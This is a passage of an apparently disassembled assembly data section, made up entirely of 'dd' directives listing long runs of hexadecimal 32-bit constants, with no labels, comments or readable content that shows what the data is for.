20143D2h, 7E8C139h dd 0DCE8D0F7h, 3E520E22h, 50AE5835h, 508CBAB2h, 13A302B9h dd 0C131651Eh, 5DAF7D45h, 253A58AAh, 0FF6871F4h, 392E6804h dd 0F81307B3h, 0E870FE11h, 165FBA52h, 0C039060Eh, 9F925DA6h dd 3105FB00h, 1523F21h, 0AE910D0h, 80AF4F07h, 0FEE4A375h dd 0E5C5CC97h, 10F7B23Fh, 0F72CEE16h, 28BB08D2h, 4262011Ah dd 3E515D1Dh, 57545E62h, 27DE3A9h, 7B644C5h, 1885F245h dd 5D91BADDh, 3C897051h, 619675DAh, 17403198h, 2CF44F28h dd 0E55A88FEh, 974284A0h, 0E6FF2E94h, 4B24FE56h, 0E6F97F12h dd 4C1E4784h, 4A60102Ch, 4773BA45h, 0C42E95Dh, 81A7343Eh dd 0F0F9BAE3h, 0E92F6785h, 0BFE0618Eh, 0CA56506Fh, 0A842DA04h dd 89F8EE1Ah, 4BE90840h, 2F74B182h, 54C171ADh, 6FDB685Bh dd 6F0B5F91h, 1E37F32Fh, 271710DDh, 0C0838D09h, 78B2526Fh dd 0A7122AECh, 1D507AC3h, 4EA0B353h, 0C642D888h, 18DC97E9h dd 899AF727h, 763ECB01h, 0FFB26A34h, 0B86E0841h, 0DEB9F479h dd 90D0C327h, 14947595h, 5CE9D617h, 0B9976557h, 797F1809h dd 0FF8E8230h, 9FF1D7E6h, 4E26AE80h, 57740A27h, 0F904A62Bh dd 0B151035Eh, 0AEF9C7F4h, 84E80B2Dh, 61FCE54h, 74FEE331h dd 0A4225F9Dh, 2361E5C1h, 1C136F8Ah, 5B70CEEFh, 98E98C42h dd 0F79B6A62h, 2B8B1289h, 0D0F1127Fh, 9E393AA9h, 7A165E3Eh dd 0D42B4BBDh, 71064BE1h, 5A3468BAh, 4C568462h, 1D59774h dd 0FCE9F1FEh, 0FC5E2168h, 0C42AB929h, 0ABB6EB7Fh, 0BB85AFD6h dd 0BDBEB594h, 9DAAD6DCh, 0B2D3B04h, 0FBF19A92h, 8BEC7DD9h dd 4F39BE75h, 0AB670E04h, 0B5AB744h, 0D2F7051Dh, 497BC87h dd 0F06F093Ah, 2733BDB0h, 87F5EF8h, 0E90908CDh, 0B3BC7047h dd 7D044BC7h, 153093Ah, 7FA30E97h, 0E8C3BC87h, 0A707EB60h dd 6C98E052h, 0E9690EC7h, 1618F43Bh, 5BBEF0ACh, 928F569Dh dd 0BE31C252h, 21582BCAh, 0DDB4562Dh, 88042CBAh, 0A9BB00FEh dd 9C45CE0Eh, 23526DAh, 494C1BC9h, 5D5187F8h, 0C0AC3AB2h dd 4C362D1Fh, 530768Bh, 0F45B07A1h, 4B381ED1h, 1190FD29h dd 6E287F16h, 0E276DCB0h, 0CA094CE8h, 0F068D527h, 1116ACC5h dd 0A70BB693h, 25E4D490h, 27B44FDDh, 85979EFAh, 16695E29h dd 4B0902F2h, 702FF9C5h, 0EB262CF8h, 0D296D0A4h, 7E624896h dd 0F0F84916h, 80F2D5FCh, 20E5E388h, 84E8BAEh, 345A7CE7h dd 869CBB04h, 892E5E0Ah, 0CEE87F56h, 0C9EC9416h, 14C86BF9h dd 0EAC6BF6Bh, 2A583A98h, 0B1BAA4ACh, 53C27E07h, 6424696Dh dd 57A043Fh, 580AE2E1h, 0F64B25ACh, 659362D2h, 2FC6B475h dd 279B2695h, 2E2E1CC9h, 0E0A4E3F8h, 3709448Eh, 0F4FA0122h dd 3AE9C331h, 55C728E5h, 0B97C1F8h, 285DC5ABh, 0B05C95BDh dd 0E407232Dh, 0BB511056h, 5B592755h, 0FBC6171Ah, 4BFA6C4h dd 1E074D7Fh, 48B55182h, 121FD628h, 8EBBC759h, 8A107098h dd 0FE2443F9h, 0E0CC279Fh, 0DEE9A5F4h, 5F1DE89Ch, 9B749BDh dd 58C109h, 0EC4E4994h, 9F89DE6h, 0EBA80537h, 7277816Fh dd 0FF38315h, 82A5C112h, 0CB89EE82h, 27EBB160h, 34C02D19h dd 58DC70BCh, 9A0CC146h, 0A44E3B39h, 82035C8h, 4F140CD0h dd 6093E7A6h, 28086816h, 127E9895h, 40830E11h, 0F34CDE31h dd 0DB0AF708h, 1556E068h, 8DE95384h, 0AD2E2DA1h, 0F2BFF4F9h dd 0DFBB936Ah, 0C0E90931h, 52739106h, 0D615A37Eh, 111391EEh dd 37243A2Bh, 5D82BDC0h, 206BB8A3h, 65BF536Eh, 411709AFh dd 9C0BED1Ah, 0A7C0C25Fh, 4B1B3315h, 671BA000h, 88C19038h dd 70EB80E7h, 0C163BD18h, 705166A9h, 0D8043F5h, 854D00D6h dd 0D9BD5531h, 30000C47h, 0F25CD81h, 0D11FFAh, 2BBF57EDh dd 0E9203779h, 0F691E527h, 0B12F78F8h, 0EA0BF699h, 54C0D759h dd 6E0FB050h, 0B658C228h, 9DD3C3B0h, 0E3B66F03h, 0A481EA84h dd 0EF2AF828h, 974C012Bh, 0D1D76689h, 0E9AD608Fh, 99B2ED18h dd 46CBE05h, 17FF1C34h, 0E650EB75h, 2756580Bh, 0A8F72932h dd 255440DAh, 22E0BFE9h, 3C120605h, 10FF58B0h, 5A2507B4h dd 934865DDh, 0F6F5C5E8h, 0F97E82BEh, 0D814F7FEh, 976A1D20h dd 9B421E5Ch, 0DEFA3460h, 0CDBF48C7h, 10CDC0Bh, 5A3305C7h dd 92A03BBAh, 24EB6BA4h, 0AC5B7818h, 0C11493B5h, 5E3E79CFh dd 2A63810Ch, 0E3EE2948h, 0E9080295h, 11D54093h, 0F23AE83Ch dd 8AAB4AB2h, 9A1D1ABCh, 3E407DCBh, 0E2018045h, 99B1516Ch dd 31F3CA30h, 0CFE4100Ch, 36A00472h, 0D4F63ACCh, 910E84Ah dd 5C7583E9h, 0EF6072DFh, 3F020E50h, 35E94142h, 9CF35146h dd 5A030352h, 0A713D031h, 0CAAD06E9h, 2170414Eh, 82257A2Eh dd 5467E30Ch, 0B2084070h, 0B96E480Ah, 98A2992Ah, 0A1FB0F00h dd 0D97C49D8h, 392D16E2h, 2C2C7A16h, 4EC2D689h, 0DBBBD56Dh dd 319BB609h, 0C9B18037h, 4C7466CBh, 9A07CF41h, 0C0266C71h dd 73DB6F1h, 0DEA90E4Fh, 2C095150h, 13FBF3C4h, 0F4B3D301h dd 813620F8h, 0E92F507h, 0E5655162h, 2101D481h, 13227070h dd 0EC0A7478h, 7D50250Ch, 0E92763CEh, 0D85322ADh, 60EAD72Dh dd 0D8653CF1h, 68C065F8h, 57026279h, 0F52D5E25h, 0F0297883h dd 76E92709h, 0E559A369h, 0AC12C11Ah, 0CAB7992Bh, 5561F402h dd 2BFD99A9h, 860275C0h, 520AB211h, 0C95FB60Eh, 90C43FEh dd 8919E9C0h, 4EBD8DEh, 5909E64Eh, 0E99A53DFh, 0B328C84Ch dd 683AEEDCh, 509097BCh, 1F32D1AEh, 47DEFAE4h, 2FF68041h dd 813BF0C1h, 6907D125h, 0E9501CF1h, 0E6BD9016h, 0BD2EDED4h dd 0AE93CF7Bh, 0E6803637h, 6C226223h, 78977C58h, 408DEC4Bh dd 96061130h, 1F9C481Dh, 64230F4Ah, 0EAF7BEC7h, 49591E17h dd 10E8C7C2h, 33BBCD8h, 1D1865B5h, 0A0DF28AFh, 14F6EE6h dd 0A956A180h, 0CDD8BD61h, 837F4B09h, 122F8634h, 26E277C7h dd 8B870F1Ah, 5587E7B4h, 990B32Ch, 0CED50987h, 7DFC8241h dd 4C9777Bh, 7AADF0C4h, 205D9405h, 9885BB5Ch, 64D4ED80h dd 1A050248h, 31EBF2A8h, 0D9E82DFh, 0BD6509E3h, 0E9795C18h dd 0D1214BAEh, 26BABAAh, 2868FF5Eh, 6D4A31A5h, 2DDE54C0h dd 5A753549h, 91AA1Ah, 122EF3E9h, 0D3F33848h, 759A8997h dd 0FF109F9Ah, 51BF0272h, 4B5E1E37h, 39525A74h, 0DC72F913h dd 0DD3E813h, 0F30A631h, 226BBBBEh, 32370F93h, 0D0802CD0h dd 0AED1280Eh, 78CAB7C1h, 0C8885009h, 0DEF6A698h, 5613DDB0h dd 660CC628h, 0FEF7F14h, 0FA8DD091h, 2DE0A269h, 0FE622FB0h dd 0FF27D940h, 0BF98D7E4h, 752A5D0Fh, 0E4A1C528h, 0B30720FBh dd 0E616B068h, 0F916D830h, 0CE9502BBh, 624AB4E9h, 6D3AC875h dd 94A05122h, 0D7BFB22Eh, 3F7B9DBBh, 0E98265BDh, 11C586F6h dd 18BA682Fh, 0B00EAC7Dh, 43600AD0h, 21E84EF1h, 5A680BEFh dd 286C6C54h, 0BB6E007Ah, 0DA2DBE74h, 0E8B5D756h, 1258EE16h dd 17DFD6Ah, 2003508Ah, 86B73013h, 49D77817h, 6A503A1h dd 0F2CFA360h, 75B0672Fh, 0C1A83020h, 41B774ABh, 8D52BE73h dd 1EA14066h, 2DE57B88h, 91E4ADA3h, 2A20B0B0h, 482167BBh dd 0FA0534C1h, 477EF060h dd 0DE7C606Dh, 6911700Ch, 7DAECEC1h, 5F3A23C0h, 5887FBE4h dd 91F73CE1h, 251A22E9h, 10022029h, 0EF204596h, 0C3FA3C24h dd 8AD016BBh, 0B0EA7335h, 0A280DEFCh, 41538176h, 0C511A38Bh dd 581441Fh, 0BFEDD186h, 41A793A0h, 64A32E84h, 82DDBD97h dd 54F8E9DDh, 4C77251Ah, 3F557E95h, 9F620E23h, 705E76F9h dd 79059562h, 1062646h, 523271F7h, 71133A6Eh, 2759DC7h dd 0D8965CB9h, 0F09DF5DCh, 634B8A52h, 7D3DC24Dh, 5C606851h dd 0BF03E768h, 68C2EA65h, 270DFCCCh, 27E594FFh, 0AC41ECE9h dd 6FFCD9ADh, 7D529892h, 7B8B277Bh, 4578D92Dh, 0F17CD45Dh dd 0FA64094Fh, 0A7E8BC42h, 88003F4Ch, 0B9F68164h, 951DC769h dd 0C6FB00DFh, 5C707BBFh, 804A8ACCh, 7709BE17h, 77D0848h dd 20644CEEh, 0B1E95373h, 7C62FEEFh, 1350D784h, 542E8EFAh dd 0D84AF3E9h, 6BF41BA4h, 0D25EE126h, 3DEB0297h, 10C3725Dh dd 831815D5h, 0DC3010C6h, 0D0528282h, 0ABE5F5CAh, 89ABD43Fh dd 8AFEF74Ah, 54B981CEh, 0E02EB720h, 7F110E33h, 57194890h dd 0E6ED63D2h, 620AF28h, 7A82F0B5h, 0D8F780BCh, 3531E097h dd 0C2AD4F9Ch, 0A3DDA7D6h, 9861CAE9h, 52898C2h, 0CCFE5AD4h dd 9AED2C0h, 660E4DF8h, 87FB64BEh, 5E77F101h, 0BF862D93h dd 0E3C829D3h, 440E4E05h, 0F1E84BBh, 0AD6DD31h, 66ACB240h dd 4CB75351h, 0FC229EF6h, 0FAA5EF5Bh, 0B9CDEDECh, 0BDC212ABh dd 570C6BAEh, 6B5E6941h, 0E2A6C6B8h, 85E90A09h, 854F7CD9h dd 122A0CA9h, 9FA6AEFCh, 12598E50h, 0F0F53A38h, 8D40899Fh dd 934EF068h, 9477A5D5h, 70CF3014h, 566CEEBFh, 12AD609h dd 94C80FEh, 0B766DE73h, 6B3628E0h, 49E9170Bh, 3CA879D9h dd 81C87E37h, 0F0C18158h, 0B97CE603h, 71BE09ECh, 5A2D8952h dd 0A0015841h, 1187DE25h, 0F8B0D556h, 54B65FDDh, 61EACF10h dd 0FED7793Ch, 0F93162Dh, 0E277F86Eh, 8DBB033Bh, 0F14D8319h dd 0C2147EC0h, 7529D714h, 36D12D87h, 37E0C48h, 5B5C6127h dd 1B688514h, 20779945h, 5981BD33h, 5C3C3DD9h, 80F9B603h dd 0F69916CEh, 10AA04E5h, 0EE2A63EAh, 0BB8B95B5h, 0F6B48577h dd 0D8B2A531h, 0E11AC12Eh, 68021520h, 0F410E95Fh, 94D725A0h dd 2DD580E0h, 38AA3E4Eh, 5CBF506h, 0BA277225h, 6161481Dh dd 6A79BD02h, 0FDE1EDC4h, 0D978AE2Bh, 0D6BB30E9h, 0F5B42DB0h dd 9D235D28h, 0E9070861h, 0D17B41AFh, 6920B9BAh, 4B31120Eh dd 2A2A3CCAh, 614AA2EBh, 8A7E5649h, 40D48A4h, 5A123CA0h dd 4191A8FBh, 0D88B7A08h, 0F770EE5Bh, 9DFF19C7h, 9E7977Fh dd 0E457303Ch, 0B478B5C4h, 0D92B9427h, 8437952Ch, 53F6837h dd 0DE4BEE28h, 0CDCE7708h, 4A37C69Fh, 0EF66E421h, 3520891Ch dd 0D66F29DEh, 0EAD04972h, 0E4601BF0h, 62E1CB2Bh, 0F7B761Dh dd 27F510F3h, 0BCF7E964h, 16F94F18h, 239DB10h, 614329B9h dd 12437D2Ch, 5E3A2C1Dh, 600130CBh, 1652C360h, 0EB5CBA1Ah dd 60083D50h, 6706E60Ch, 0D75D525Bh, 91B7535Eh, 7D5B5ABh dd 11C24984h, 0FCDB63C1h, 0FD94E387h, 0D5C2C618h, 1FA5149Dh dd 8467EFB9h, 0F024E94Ah, 0A1256883h, 82BE7979h, 540569BCh dd 2883F955h, 0F1D87A9Ch, 293EE109h, 5D00196h, 2AD740C9h dd 6A530h, 0D73A025h, 107C2D78h, 123C0C4Ch, 74A358C7h dd 4C459A86h, 2C07BA4Eh, 2FB45140h, 591D0CF9h, 0EC38D368h dd 9156C425h, 3EE989FBh, 0F55AC0B9h, 45BB2E4Ah, 0A85DCAE4h dd 0E088480h, 0B70F5C00h, 0E22468C8h, 0C69BCB30h, 1661D1D5h dd 0DB2E1588h, 0E8525009h, 99481E1Bh, 7D9495Ah, 70478F42h dd 1EC720B4h, 0D9D12127h, 8556E99Eh, 82CB1858h, 3FED545Dh dd 0BF477FAh, 0CD01B1A6h, 0A091C677h, 350B63AEh, 101E44F6h dd 0F94F08E4h, 0C8E79F0Ah, 82D48C83h, 27787177h, 0F72C1857h dd 4A683DF1h, 88936C59h, 0BC4FA43Ah, 0CB8045D5h, 0B5310315h dd 39E975E8h, 21413EE1h, 2C1B13D1h, 16330320h, 0FCD3E4ECh dd 0D8BE4B3Ah, 1EBA7574h, 675B617Ch, 9BFC2613h, 0F314D186h dd 4DA9EB5Bh, 935F0C6Bh, 8DBAE559h, 71F56B65h, 82E90E40h dd 0EFB3C99Ah, 5E56E1FFh, 8411C26Ah, 70501077h, 54DF2F26h dd 16BD6CF8h, 0F73A200Bh, 621F5EBDh, 4259DDE0h, 0D4C8210Bh dd 3462DAFFh, 0C31AF7F2h, 26103h, 0F14C40A7h, 760BB52Ah dd 68052B5Ch, 0B1E85719h, 0DF7A07C0h, 34C05B20h, 4CFD30F5h dd 12DA6001h, 6F5F71EAh, 4CFC6E58h, 5C36135Bh, 0C50789F9h dd 0E9D4D0FCh, 0F24C20F7h, 26C224Ah, 685A0A8Bh, 37A84BDAh dd 9991CE2h, 0E370282Fh, 7C971BBAh, 665F99EFh, 69A0D0E8h dd 714856B5h, 7E2975EEh, 2CC43BB2h, 2CCFFEDEh, 170EFF4Ah dd 6C452EF7h, 393E0C50h, 0E916461Eh, 0FD4EEEF1h, 43E8E4D0h dd 0ED809DEAh, 0F667854h, 947B322Dh, 13EB5A8Eh, 0A86BBFFh dd 1EDC9D0Ch, 0D51D9C2Eh, 26E9E565h, 125BD4Eh, 944A3D66h dd 78A55A15h, 66AF922Ch, 57E4D9C2h, 534576F9h, 0E60F8D0Bh dd 1C5EC3BDh, 0A6781A7Fh, 0D30847E5h, 2C4C87DFh, 0CFCD1200h dd 9F34AECAh, 0A2A88123h, 10116205h, 6809F78Bh, 2CF448EAh dd 0EB0FD960h, 2022B82Ah, 30073D46h, 0F98858E7h, 91B0AAA5h dd 0B5CC3980h, 15C9EC97h, 100F37Bh, 87B850C5h, 7C582F55h dd 755580Fh, 90E72D04h, 10EAD495h, 0ED02B82Dh, 621B2B61h dd 8DC287Fh, 0D2FF1C34h, 0F5855892h, 55A2EBD5h, 3B84FA4Eh dd 97ECFCFAh, 8F68BE2h, 6A84BE05h, 0EC50226h, 0FB254AB8h dd 0E989D160h, 2D26FBB5h, 7C370DD0h, 5174E565h, 4A12ECC2h dd 0AFE5DD25h, 9FB85AE9h, 720AA901h, 0DBAE60BAh, 58389841h dd 37D92110h, 1947127h, 0E73CA8C9h, 6EA1257Eh, 0BEE712E8h dd 709A591Bh, 40DFC294h, 0F60DB83Eh, 29661B18h, 849C44C2h dd 0FA0B14CDh, 0DA30A548h, 48B12D2Eh, 56D4AE2Fh, 0DD286286h dd 479BBAE8h, 14AD0499h, 20859B8Fh, 0A9C54FA7h, 57E91263h dd 554C425Dh, 388050D1h, 0AC5AD8C4h, 0B24119F6h, 0B9104521h dd 31002819h, 0E7C9811Fh, 166A3049h, 0EAC5C1E9h, 2AA84261h dd 3FD9F701h, 26E5FF04h, 6F98A812h, 59EC6599h, 529B6FFh dd 0A726F6C7h, 0A5D7C0EEh, 7A5F9C72h, 806D7A5h, 5E14801Ch dd 0A4AF4AE9h, 8200CF5Ch, 5653FC3Fh, 64DBABEh, 0F72144F8h dd 9800425Eh, 5E39C13h, 4CCD1770h, 742C234Ch, 0D8744B30h dd 625FADBDh, 0F8EA5C1Eh, 61533268h, 0B4E912C4h, 5AD3F391h dd 1F47137Bh, 2E667EBh, 0D7EC585Ah, 0E8D09387h, 68D4E600h dd 3CC17249h, 1CF303EEh, 31AE4483h, 0C045C78Ah, 0F50B8948h dd 7F8BDDE9h, 2ABF8045h, 594AE14Dh, 0E0D1DF17h, 0B001FC02h dd 7516DCC2h, 0B776C6BFh, 0C701E968h, 3FF9BDFEh, 3EB22277h dd 0F797714h, 276812ECh, 7A135F1Bh, 43C5FE4Ah, 0D24EB2BBh dd 0BB53DD60h, 0FC5B003Fh, 0A4C3B971h, 44B48E03h, 0F2DB4927h dd 16E3EDACh, 4909B2DEh, 0E2EE2F01h, 0F075D091h, 2FA9BEE6h dd 7352BE77h, 2C736AE9h, 0DA5A0892h, 28CFF825h, 82DB6CA1h dd 0D096D5BDh, 0D32EB8C2h, 2EBD889h, 102D7F7Dh, 9362DD01h dd 41C6080Dh, 7F92CEF3h, 81831098h, 1FE96051h, 0A7C7216h dd 7BEEA501h, 813139DCh, 8149B828h, 0E7CA3D78h, 222C8A5Ah dd 0CF673014h, 4F57BF30h, 16A0C53Dh, 0B540E10Eh, 3B321091h dd 5C82829h, 68590A07h, 92F67A1Dh, 5D66B09Eh, 0D9C0F7BEh dd 0D7556530h, 0E0C61222h dd 4C17B5ECh, 57B10DB4h, 0F1EA8A04h, 907F6516h, 0BD0214B4h dd 1F594F9Dh, 2FC36A61h, 5F64AC8Ch, 40FCF57Dh, 0DC4692CBh dd 14CC494Ch, 841623CEh, 280B7CA2h, 0D1308502h, 88D2E7DFh dd 0C5936537h, 19781BFh, 2D5CF5CDh, 5EE327A4h, 0F2E9EF04h dd 40BFECE0h, 714C2216h, 8CFE330Ah, 6804CD24h, 31EA1006h dd 43D1BAEh, 64678001h, 0D8F93028h, 0C91A7D32h, 0C9A73EECh dd 0EA99BC21h, 24374F48h, 0C1723177h, 0A66F5AA0h, 994F24C2h dd 0FB12D0B9h, 0D8D8B095h, 58082833h, 84924EBEh, 669A8154h dd 636800D7h, 22E72772h, 0C376AFFAh, 7847AF09h, 0C4EFA89h dd 1E0912BDh, 2602F10Ch, 2DE96032h, 0EE92C403h, 418BB785h dd 2AFAEDFDh, 6E7CBD75h, 55CE68E2h, 5017C7F1h, 7445A0h dd 0BF25D72Fh, 0DF051214h, 5D2C9890h, 9500024Fh, 89EA9BEEh dd 0FBE916F8h, 3724BE12h, 0B08836C4h, 21CD40E3h, 0D1902098h dd 1711EA4Dh, 87FE03E1h, 423A67CCh, 0B3E13BEEh, 50882EB0h dd 0BD1D50DDh, 88B0BCFBh, 4E325B04h, 0D0B56893h, 5A71FAE7h dd 1051F322h, 257D3E6Ch, 0B03BDE9Ah, 5DC3EBB0h, 0F43BE425h dd 0D68B0C2Bh, 8509C627h, 0DF6B7E6Ch, 70F489A9h, 0C62CE87h dd 0D70024F4h, 315EC56Ch, 4F10FA97h, 68B29CACh, 1B717325h dd 800C282Ah, 1011C4C9h, 0AED8AE57h, 0E5C0624Ch, 21E8F129h dd 20E37466h, 2E765FCh, 0C4D1405Ch, 318E2D07h, 0C4063FCh dd 0B5C6381Fh, 3055FFC2h, 88175FDAh, 691E09C5h, 0A9C91A07h dd 0B1FBF9E2h, 69367A66h, 538F4006h, 0D4C679E9h, 31300180h dd 0D4E97B6Fh, 15A4D39h, 5F5E5080h, 92903F56h, 763F6D08h dd 9FE30C73h, 68EC926Eh, 33B20B4Eh, 33F7D016h, 0DDF8518Bh dd 1B505B0Ah, 386132F8h, 4350C685h, 2A6840F8h, 5BF43437h dd 0ADDE17A1h, 0DF56CF2Eh, 0D7E9426Dh, 1087165h, 114826BAh dd 165C3E02h, 0D1604BD7h, 7D847867h, 0F51F303Dh, 0D1C0351Ah dd 29459109h, 28E4F4C7h, 2539EE5Ch, 0F6947E3Ah, 7D5209BDh dd 9818B796h, 0EF2EFD11h, 1B521CD0h, 44E94557h, 85E4B9D9h dd 67FB736Dh, 0BF4EA44Eh, 9CEEE613h, 7B0BBAC5h, 7C663C6Ah dd 0A58739B8h, 61B9E996h, 0D84FD30Fh, 0F6AB6062h, 82FCC64Bh dd 870098E6h, 15BE447h, 979168F7h, 0BB546F46h, 2AE7DF0Fh dd 0E92D38FFh, 946BC825h, 9844ECEh, 0BB99BF13h, 7CFD2AFAh dd 5D3FE909h, 2248ED7Fh, 2A5848D4h, 8B11EC5Bh, 5296B487h dd 1012A954h, 0FDC16462h, 0A2B48BBCh, 0C5595E75h, 0AB5C966Fh dd 282A934h, 7D68013Dh, 0EA9A7E3Ah, 9766E440h, 0B800C166h dd 7F5D6056h, 249FAEBEh, 8C8B80A2h, 0B62A05FAh, 0B551B902h dd 0C1EE3095h, 0B006A1E9h, 5C9C7EB5h, 549DEBF4h, 76775222h dd 851FEA9Ch, 9986413h, 3282DAF9h, 0FC404208h, 4C5E2307h dd 280240A0h, 168CD7CEh, 401EE9DAh, 32B6BE47h, 0C2BD2E6Fh dd 5FAFC27Ch, 0F9CAB24Bh, 754B9FF1h, 6968F65h, 0A73B75F1h dd 2CC1CDB1h, 0CE5F316Eh, 0CD81007Dh, 2D361DBDh, 0D5E5811Bh dd 0F0346F5Dh, 5513D1EDh, 40C306Dh, 13EA2FE6h, 0AB52798Bh dd 0A2C22DA0h, 0A259DF08h, 7700582Ch, 0E9359374h, 0A4625ADEh dd 105DED6Dh, 12EF5FF5h, 6D5010Bh, 6001616Ah, 2880B95Ch dd 68660EE8h, 0F4927D4Fh, 7A9FA6C8h, 0BACF4FCCh, 0F5466109h dd 68E55CD0h, 17E8D7A0h, 47A482E4h, 0B8AF5904h, 0CBE4C2C3h dd 41A50FEh, 14A586F6h, 0EBEE840Ah, 18EC1BD5h, 6850D82Dh dd 62ADD39Fh, 41707FE9h, 3D025FB1h, 4232AF23h, 87CA753Ch dd 6CE90740h, 9BE27FF9h, 0F0F97196h, 64F27F5Eh, 2289E9CBh dd 322F335Ah, 88FDD1CFh, 4A283F19h, 461D020Ch, 0F3915Eh dd 0A372CC91h, 0FEFABEE9h, 42522291h, 5421688Bh, 9652C159h dd 31F7205h, 0B568E4Bh, 0E08DFA63h, 0C1798174h, 0ED949888h dd 0B7455D25h, 5D3EFB0Bh, 0F0DD7339h, 7882349Fh, 0FCDB95F3h dd 68C3D4EAh, 6ECDA4C2h, 0A088B87Ah, 0B663A268h, 0D3296ED9h dd 1C9D69E0h, 3DC6E6BDh, 0D484525Eh, 0E862C85Bh, 209D2ECh dd 20730407h, 0C5CB40EFh, 0A1CFE07Ch, 0C2560165h, 0AD5752AEh dd 0F0FA7182h, 56C96596h, 59E98B95h, 0BDA24FF8h, 4BDE5BFFh dd 25B7E5F5h, 605B0ECCh, 0C6304C03h, 0F2BB8558h, 59A5C711h dd 0F44808h, 2BB242BEh, 0BD187ABAh, 0B98CD44Dh, 22540D3Ah dd 668DA01h, 0FA25CE08h, 48BF4451h, 0EE3FF159h, 961C497h dd 5910DAD2h, 719DBB46h, 92C9CFB2h, 2F5D76E1h, 51365CCBh dd 5AB57C47h, 59A49515h, 0B45BEAA0h, 0B538D1E3h, 94F36980h dd 210FA43Ch, 0F1EC02BDh, 89BAC577h, 0E4F74BFDh, 515D2098h dd 13E6BA00h, 0E2813519h, 8E6D1878h, 3D89866Bh, 1198DA79h dd 0F825314Bh, 85A89883h, 99E1478Dh, 0B5686B84h, 382F9D69h dd 0CFE9A1EEh, 4F31DE51h, 68097032h, 0E6795114h, 0A17DF683h dd 0F5F7DB57h, 309CEBBh, 2A2777C1h, 0F0C9E007h, 0A522C4Ch dd 25AE06Ch, 212427F2h, 0E90297D1h, 8E2C7F2Dh, 2818DEE5h dd 98E0D38Ch, 1D8B0053h, 0BD553B43h, 7C4A1851h, 9B046CFCh dd 0F82AAA74h, 71E5031Dh, 28BF1Ch, 0D817701Ch, 5DEE0953h dd 0F84565Ah, 0F5B799BBh, 41C8E8ADh, 879E9CB0h, 98FE3316h dd 723BBE9Fh, 0E97C0225h, 56FF5026h, 0F98741B9h, 4EEC7FFEh dd 8F3BEBF4h, 0DBFEE90Dh, 0AF3B4Eh, 55EC2D41h, 0E8EB1BD7h dd 445E7B2Eh, 74169BCh, 7C118CD6h, 65491358h, 8004FE24h dd 4783DBF7h, 7894B18Fh, 2C31770h, 0EC390B89h, 0E9EA7BE9h dd 84D44775h, 0B99F4EE9h, 624A27E8h, 0DFBC8B36h, 2959A2C0h dd 9DB27697h, 0EF10A704h, 7B9F90D3h, 0BF0F8401h, 0CC6EC2C8h dd 69265E77h, 0F4E99E68h, 571DEE9Eh, 0AFE46E8Ah, 715BF82h dd 0EFD540C8h, 8EBB137Bh, 0E3878014h, 242544EEh, 4A9CC021h dd 0B62583D2h, 7DB98FA1h, 4FE4C6D6h, 4641744h, 12BCE4DEh dd 51CC960h, 75A030B5h, 619B3B6Ah, 262D0301h, 7E6D0914h dd 7C07A210h, 1B0511AAh, 42D8BB5Bh, 0F511B561h, 6A802E9Ch dd 89B652h, 0F680C6FEh, 71EAE9F0h, 9D0BC4A4h, 800DC022h dd 57AD8E8Eh, 4A429D19h, 70DDD8CAh, 91B949E1h, 0FBB86812h dd 0DB800E37h, 0BE219F07h, 20FCA1Bh, 1FE8E982h, 0FF6CD582h dd 0C68540Ch, 7E2C026Bh, 0AD4BE965h, 0CE300703h, 78BE2059h dd 0D3E5077Eh, 0C564A9F4h, 87E6A05Fh, 29E08613h, 1145ECBCh dd 49F117C1h, 0F7C8F464h, 0D36818D9h, 3B122565h, 2E470980h dd 0B275581Ch, 78FFBB74h, 5D89FCFh, 70EB0500h, 0D02945ABh dd 6507A22Dh, 560BAF3Bh, 58C3295Eh, 355603EDh, 10626C5Ah dd 22A0BEA5h, 0FE73D246h, 0B664E1E4h, 0C17627E5h, 5A524A30h dd 510A4C9Ch, 0CB456105h, 0CAB9E103h, 0D5EDBBE3h, 39DAEF8Eh dd 3F0AA14Eh, 0E9C26FF8h, 0DCD9E0B0h, 929F7127h, 7602AC7Fh dd 86AFEB4Bh, 2F090CB9h, 553AD41Fh, 2083EA8h, 0FEDC2EE9h dd 80899055h, 0FB0A73C9h, 0E4D1F6E8h, 1FE1F4D9h, 49B05014h dd 167DC130h, 7514C28h, 873BD120h, 2233A5CBh, 615EC9EFh dd 0EB407CD0h, 0C4EB274Ah, 0FC1F5F30h, 7E72A220h, 0BC5C122Bh dd 0D3B84AA0h, 6568E4D8h, 7AFF2E7Eh, 2608AE10h, 6644975Dh dd 0AF2A1AC9h, 95BA3627h, 4BDDD0AFh, 5CC8B02Bh, 60AE2EFFh dd 28E8B999h, 495B8D2Fh, 25ECF11Ah, 0B04E5E7Bh, 493EBDD5h dd 770D7F74h, 2429E037h, 9C107FDh, 60B6A17Ah, 25F8B05h dd 0B3C707ADh, 0CCD70B11h dd 5DBE2428h, 872C0134h, 84D2F7D6h, 2BE0E908h, 0B28165E8h dd 0F0D3288Bh, 18C2B7C8h, 5F01EB83h, 0DBC3A7A0h, 7B088A14h dd 3DA224E9h, 9A42F683h, 9ED88567h, 739FFEF2h, 31E941C5h dd 0B52280FCh, 80DDF6D8h, 2D337CEDh, 7BE89FF2h, 73014E4Bh dd 0B818BE63h, 0A12FBFFBh, 506F53CDh, 295B2404h, 1FF10BCh dd 37EF356Bh, 0D22DD060h, 1FBE6401h, 5828AF25h, 5009807Eh dd 0EA9D88E9h, 3A7177CFh, 5AB5852h, 2B1F5468h, 3B0BAC27h dd 615103C6h, 4EFC1h, 783B5312h, 0E9FD89F7h, 1F242126h dd 200E78A5h, 60F9388Bh, 78736802h, 0C2BD30A8h, 0FB7FD87Eh dd 0D333952Eh, 0C52ECC59h, 0CB4BF97Bh, 259D5CB5h, 8BBFC777h dd 6144359Ah, 0D4BFB47Eh, 2858407Ch, 0D467E9C8h, 323764B1h dd 8BC30982h, 0C5ECF9D0h, 5C6392F2h, 2295D344h, 11AD3C3h dd 70C090B3h, 0F32F8000h, 18115DC2h, 2BB7E9E9h, 62C7D64Eh dd 0A20DFA22h, 60CB2AACh, 379FE72Eh, 6119F94Dh, 2F13A9D6h dd 73FDFA10h, 227E4C00h, 301A0C05h, 96E91569h, 0F20E9E2Eh dd 6FCFA9E0h, 0E8D0DC65h, 10CC94C5h, 0BA02BE6Eh, 54EC3D32h dd 7CE0F8E1h, 0B8B1400Ch, 27CD3513h, 619CB100h, 9D093FBEh dd 8231B1E0h, 2B67AD81h, 3D411E3Bh, 231C9F9Fh, 4B96DA2Fh dd 302ECD99h, 481A7A1h, 0D118A06Ah, 6961A850h, 1F171C1Dh dd 0F59FEA81h, 3AAC01h, 685653BDh, 41715812h, 0F671CB98h dd 0F827192Fh, 